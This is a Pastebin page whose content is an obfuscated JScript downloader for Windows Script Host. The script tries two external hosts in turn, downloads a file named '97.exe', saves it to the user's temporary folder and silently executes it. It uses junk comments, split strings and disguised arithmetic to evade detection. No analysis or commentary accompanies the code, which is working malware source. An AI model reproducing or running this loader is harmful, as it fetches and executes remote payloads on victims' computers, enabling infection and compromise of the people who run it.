Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var F = "whatdidyaysay.com/97.exe? iamthewinnerhere.com/97.exe? ? ?".split(" ");
- var eay =((1/*XkY6898914596n498553uM354193eOiZ*/)?"WScri":"")+"pt.Shell";
- var hb = WScript.CreateObject(eay);
- var lA = "%TEMP%\\";
- var LDM = hb.ExpandEnvironmentStrings(lA);
- var THf = "2.XMLH";
- var ugI = THf + "TTP";
- var Rx = true , lPAf = "ADOD";
- var Dr = WScript.CreateObject("MS"+"XML"+(455298, ugI));
- var obB = WScript.CreateObject(lPAf + "B.St"+(263475, "ream"));
- var CRm = 0;
- var j = 1;
- var jsWyQeZ = 460700;
- for (var m=CRm; m<F.length; m++) {
- var JM = 0;
- try {
- poi = "GET";
- Dr.open(poi,"http://"+F[m]+j, false); Dr.send(); if (Dr.status == 676-476) {
- obB.open(); obB.type = 1; obB.write(Dr.responseBody); if (obB.size > 200467-525) {
- JM = 1; obB.position = 0; obB.saveToFile/*wjdy85bDIL*/(LDM/*V5op15iHXQ*/+jsWyQeZ+".exe",4-2); try {
- if (((new Date())>0,7821551888)) {
- hb./*d303164UY65*/Run(LDM+jsWyQeZ+/*75F530NLtQ*/".exe",/*wlhn176xuN*/3-2,0);
- break;
- }
- }
- catch (Wr) {
- };
- }; obB.close();
- };
- if (JM == 1) {
- CRm = m; break;
- };
- }
- catch (Wr) {
- };
- };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement